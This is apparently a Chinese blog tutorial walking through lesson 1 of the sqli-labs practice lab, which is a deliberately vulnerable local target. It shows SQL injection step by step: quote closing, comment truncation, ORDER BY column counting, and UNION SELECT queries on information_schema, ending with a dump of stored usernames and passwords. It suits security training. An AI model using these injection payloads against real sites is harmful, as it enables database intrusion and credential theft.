mysql数据库精讲_mysql注入精讲

Sqlliab

Less1

首先来看源码

6a66bfbb0785f259f5a6be2f3bffdac1.png

我们发现直接将id的字段丢给了查询sql语句函数。输入地址看看效果

http://192.168.16.135/sqli-labs-master/Less-1/?id=1

280128e5d88229548d7827beb947b199.png

我们发现当id=1的时候,当前的执行语句为:

SELECT * FROM users WHERE id='1' LIMIT 0,1

我们首先试试判断sql注入的常用手法:加个’试试效果

http://192.168.16.135/sqli-labs-master/Less-1/?id=1'

f5fb9c1b552e237aa189a07d74c65a96.png

发现就会报错,为什么会报错呢,我们可以清楚的看到sql注入的执行语句为:

SELECT * FROM users WHERE id='1'' LIMIT 0,1

因为id=’1’’,这是一个错误的sql语句,因此会出现报错信息。

我们在来试试另一个判断注入点的方法:and 1=1 和and 1=2

首先输入and1=1

http://192.168.16.135/sqli-labs-master/Less-1/?id=1 and 1=1

9ab08b91aa58bb8f2567ffc8ab11b6cc.png

发现执行的语句SELECT * FROM users WHERE id='1 and 1=1' LIMIT 0,1

我们发现1 and 1=1作为ID的值被传入sql语句进行查询,无论怎样查询到的结果只是id作为1的值。输入and 1=3看看。

http://192.168.16.135/sqli-labs-master/Less-1/?id=1 and 1=3

6841dad0d4a2902169d40467dccd22c0.png

怎么样才能让sql语句执行 and语句呢?可以发现id的内容不是字符串吗,我们可以尝试闭合字符串。

a26a685aedfdd4144a4dfb7d219ad938.png

dc4e811d8f62a5fea184865e41f77523.png

http://192.168.16.135/sqli-labs-master/Less-1/?id=1 'and 1='1成进行了闭合字段,在看看and1=2的内容

http://192.168.16.135/sqli-labs-master/Less-1/?id=1 'and 1='2

11f00146600028a312e896fe0cb936d7.png

我们发现执行and1=1和执行and1=2的页面反馈效果不同,说明存在sql注入点。

a2a23488fab4c4a64a486daaf98b7b6f.png

使用order by 字段,发现执行的sql语句为:

SELECT * FROM users WHERE id='1 order by 9' LIMIT 0,1

发现和执行and 的是一个道理,只不过在执行and的语句是我没有截断sql语句(说明这片文章的思路有一点小问题),在常规的sql注入过程中,如果我们发现是确实存在sql注入点的时候。我们就应该截断sql语句,在这片文章里就是“’LIMIT 0,1”。干掉sql语句的多余部分。那么问题来了我们怎么样才能干掉后面的部分?有没有一点的思路呢?

注释,对就是注释你没有想错,sql语句中一共有三种注释符,分别是#,/**/,--。

首先说明这三种注释符的意义

Select ID from user # 表示这条sql语句到此结束,常用语单行注释。

Select id from user --  表示这条语句到此结束,常用语多行注释。主意这里的--双换线要求前后至少有一个空格,在sql语句的空格用+表示。

/*注释sql语句的*/ 通常用于大段的注释。

首先我们来干掉多余的sql语句。

http://192.168.16.135/sqli-labs-master/Less-1/?id=1' --+,正常返回页面,说明sql后面的LIMIT 0,1被干掉。

64ad9e7689e45aac970c419245adae6d.png

执行语句http://192.168.16.135/sqli-labs-master/Less-1/?id=1' #

88cfccb0a3e87769ea73140d626d2fc1.png

居然会爆错一大堆,为啥呢?看执行的sql语句:

SELECT * FROM users WHERE id='1' ' LIMIT 0,1

说明没有被干掉,那么怎么办呢?在sql注入的过程经常使用的一招就是编码,是用url编码问题。常用的URL编码%20代表空格,%23表示#,说一个问题,URL和16进制有个相似的地方就是%23和0x23。都代表的#。感兴趣可以下去研究一下。

http://192.168.16.135/sqli-labs-master/Less-1/?id=1' %23,返回正常。

cc3773bcf8aba83209eeeb102de29974.png

判断字段长度

Oder by  原理

T1表中有三个字段的时候,我们使用查询语句,

Select * from t1 where id =1 order by 3,返回正常数据。

5cba99b4f556b3d0d886eae2744c91b1.png

使用select *  from t1 where id =1 order by 4,发现sql语句报错,并且返回没有找到这样的字段。

cbade06cf2c75a2c439145c19fda6e5a.png

当t1表有四个字段的时候,使用查询语句

Select * from t1 where id =1 order by 4,返回数据。

e117dfd2e94ef908f4e7349f7c4fcf59.png

Select * from t1 where id =1 order by 5,

795b4fa927e4a0a2c6e5f73d9456a1f0.png

返回错误。也就是说order by 就是来判断表中到底有多少列。如果表中有3列,那么order by 3 查询到数据,如果 order by 4,则这个表中没有4列数据,报错。熟悉了原理来看看利用过程。

http://192.168.16.135/sqli-labs-master/Less-1/?id=1' order by 9%23

f321ef1ff6ab31fc6a4f96e67a0c768d.png

发现Unknown column '9' in 'order clause',说明不存在该字段。使用二分法来判断其他的数字。

8722567555609f96d6e6d22647990cd9.png

http://192.168.16.135/sqli-labs-master/Less-1/?id=1' order by 3%23,发现3有页面。

3a7b4e247cebab777e82729544623b21.png

http://192.168.16.135/sqli-labs-master/Less-1/?id=1' order by 4%23

发现4没有,则说明就只有3个字段。

61a2b53ca713ecd2b0cc003f1977ee70.png

接下来就是查询字段,使用union select 来查询的原理。执行id=1返回正常,

e8cda1bbfe84c6f060bd6aec2d25e5f7.png

执行-1返回的是空字段。

7583d7a25befdf10802ddecbf0d9fc01.png

执行-1 union select 1,返回name

11ff55c0cd028ee88d20a03eafe0dc2c.png

我们可以这样理解

Select name from

t1 where id =-1 这条语句执行的结果为空

Uninon select 1这条语句才能查询到结果,给页面返回查询到的数字。

如何利用呢?也就说只要我们使union前面的sql语句执行的结果为空。才能让页面显示出union 后面的sql语句执行的结果。我们使用and来验证一下。

Select name from

t1 where id =1 and 1=1,发现返回的是一个字段。

dabec5421bcefb2f4e0939aa3b4d7ef0.png

Select name from

t1 where id =1 and 1=2,发现查询到的结果为空

580543b49fc985bbe225a4ede8d0dc4b.png

Select name from

t1 where id =1 and 1=2 union select 1,

使用联合查询,查询到数据。

7afafa57ed42340c2ca3c12bdd72dfa3.png

熟悉了联合查询的原理。我们来在页面中使用联合查询获取字段。

http://192.168.16.135/sqli-labs-master/Less-1/?id=-1'

union select 1,2,3%23

06a9a739736eb61cbdfa94cb0f291b93.png

看一下执行的sql语句:

SELECT * FROM

users WHERE id='-1' union select 1,2,3#

注意:截图中的执行SQL语句不正确,因为我们使用了#注释以后, #后面的内容已被sql过滤。也就是说#后面的东西为空。

我们发现在页面中返回了2,3两个字段。接下来利用在页面显示的字段来判断sql的版本和数据库。

http://192.168.16.135/sqli-labs-master/Less-1/?id=-1'

union select 1,version(),database ()%23

caf563940da746d447740574a8cf9bab.png

发现MySQL的版本是5.5.53>5.0,大于5.0版本的mysql有一个数据库information_schema这个数据库里存储所有有MySQL的操作。我们看到在information_schema中有个表是tables,这个表里存储所有的表的属性。

61242407bca2da5288a21b2df3f78744.png

在columns中存储所有有关列的信息。

823ad2bb3173c53c4f7362e01a84d8bf.png

http://192.168.16.135/sqli-labs-master/Less-1/?id=-1'

union select 1,2, group_concat(table_name) from information_schema.tables where

table_schema='security'%23,获取表名

bc6acf1d6764a02fa1c9e8567a9f5295.png

也可以使用

http://192.168.16.135/sqli-labs-master/Less-1/?id=-1'

union select 1,2, group_concat(table_name) from information_schema.tables where

table_schema=database()%23

b8ec835438a1ea6a898cf64265a7a7d4.png

获取列名,以users表为例。

http://192.168.16.135/sqli-labs-master/Less-1/?id=-1'

union select 1,version(),group_concat(column_name)from information_schema.columns

where table_name='users'%23

d88b715d1bdece98149fb11aa9f31224.png

获取数据。

http://192.168.16.135/sqli-labs-master/Less-1/?id=-1'

union select 1,version(),group_concat(username,password) from users%23

161337ad2f76b5a97efdebf1a47cbe14.png

得到数据库的管理的用户名和密码。那么接下来怎么做?

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值